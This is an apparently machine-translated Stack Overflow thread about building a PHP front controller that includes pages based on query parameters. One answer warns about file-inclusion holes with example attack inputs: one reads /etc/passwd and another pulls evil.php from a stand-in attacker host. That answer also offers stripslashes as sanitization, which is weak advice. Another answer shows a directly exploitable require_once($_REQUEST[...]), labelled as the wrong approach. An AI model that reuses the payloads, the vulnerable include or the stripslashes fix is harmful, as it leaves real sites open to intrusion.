如果我想做这样的事情,最好的方法是什么;
我称之为页面呼叫。
我有一个index.php,它将运行config.php
我希望 index.php 作为我的核心,然后执行类似
的操作index.php?customer=home or index.php?customer=viewaccount
index.php?admin=home or index.php?admin=updateproduct
然后调用特定的php文件,例如。 home.php,viewaccount.php
祝你好运 我非常感谢你的帮助。=)
答案 0 :(得分:2)
听起来你在谈论一种名为Front Controller Pattern的设计模式。
当然可以实现自己的前端控制器,但几乎每个PHP框架都已具备此功能。我建议你试试Zend Framework。
答案 1 :(得分:1)
我不会在同一个脚本中混合管理员和公共区域 因此,对于公共区域,您可以执行类似
的操作<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="pages/$name.htm";
if (is_readable($file)) {
include($file);
} else {
header("HTTP/1.0 404 Not Found");
readfile("404.html");
}
?>
然后解决客户页面,例如index.php?home
,index.php?viewaccount
答案 2 :(得分:0)
最好是针对允许的脚本名称的“白名单”数组检查$_GET
参数。之后,您可以只包含该文件。
if ( in_array( $_GET['admin'], array( 'home', 'updateproduct' ) ) ) {
include( $_GET['admin'] . '.php');
}
答案 3 :(得分:0)
好的,我无法对这里的所有答案发表评论,所以我会告诉你,即使这篇文章可能会被放下,因为它不是直接的帮助。
在包含POST或GET请求的文件时,您需要非常小心。在编写类似代码时,请注意远程/本地文件包含漏洞。 index.php?page = / etc / passwd或index.php?page = www.myEvilScript.com / evil.php
许多人都可以通过这种方式被黑客入侵,而且你不希望这种情况发生在你身上。
始终清理您的数据,所以striplashes($ _ GET ['admin']);或者你想要使用的任何方法。
答案 4 :(得分:0)
此模式的名称是前端控制器。
您可以在网络服务器上实现多路复用(例如使用mod_rewrite)或在PHP代码中实现。
以下是 NOT 的执行方式:
<?php
require_once($_REQUEST['customer']);
require_once($_REQUEST['admin']);
下进行。